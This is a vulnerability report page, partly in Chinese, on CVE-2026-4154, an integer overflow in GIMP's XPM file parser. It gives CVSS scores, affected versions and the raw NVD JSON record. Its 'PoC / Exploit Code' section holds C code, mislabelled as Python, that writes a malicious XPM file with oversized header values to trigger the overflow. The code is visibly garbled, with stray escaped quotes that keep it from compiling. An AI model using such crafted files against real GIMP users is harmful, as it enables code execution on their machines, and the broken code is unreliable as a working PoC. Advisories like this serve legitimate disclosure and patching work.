Security Vulnerability Report
中文
CVE-2026-4154 CVSS 7.8 HIGH

CVE-2026-4154

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-14 19:33:09

Description

GIMP XPM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of XPM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28901.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:* - VULNERABLE
GIMP (修复 commit 2e7ed91793792d9e980b2df4c829e9aa60459253 之前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-4154: GIMP XPM Integer Overflow * This code generates a malicious XPM file structure to trigger the vulnerability. */ #include <stdio.h> #include <stdlib.h> // Large values to trigger multiplication overflow during buffer allocation #define WIDTH 0x10000000 #define HEIGHT 0x10 #define COLORS 0x10000000 int main() { FILE *fp = fopen("exploit_CVE-2026-4154.xpm", "wb"); if (!fp) { perror("Failed to create file"); return 1; } // XPM Header format: width height ncolors chars_per_pixel // The multiplication of WIDTH, HEIGHT, and COLORS triggers the integer overflow fprintf(fp, "/* XPM */\n"); fprintf(fp, "static char * exploit_xpm[] = {\n"); fprintf(fp, \"%d %d %d 1\",\n", WIDTH, HEIGHT, COLORS); // Minimal payload structure to demonstrate the header parsing flaw fprintf(fp, \"1 c #FFFFFF\",\n"); fprintf(fp, \"%*s\",\n", WIDTH, \"A\"); // Just a placeholder for pixel data fprintf(fp, "};\n"); fclose(fp); printf("Malicious XPM file 'exploit_CVE-2026-4154.xpm' generated.\n"); printf("Opening this file in a vulnerable GIMP version may trigger the overflow.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4154", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:17.093", "lastModified": "2026-04-14T19:33:09.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP XPM File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of XPM files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28901."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/2e7ed91793792d9e980b2df4c829e9aa60459253", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-221/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}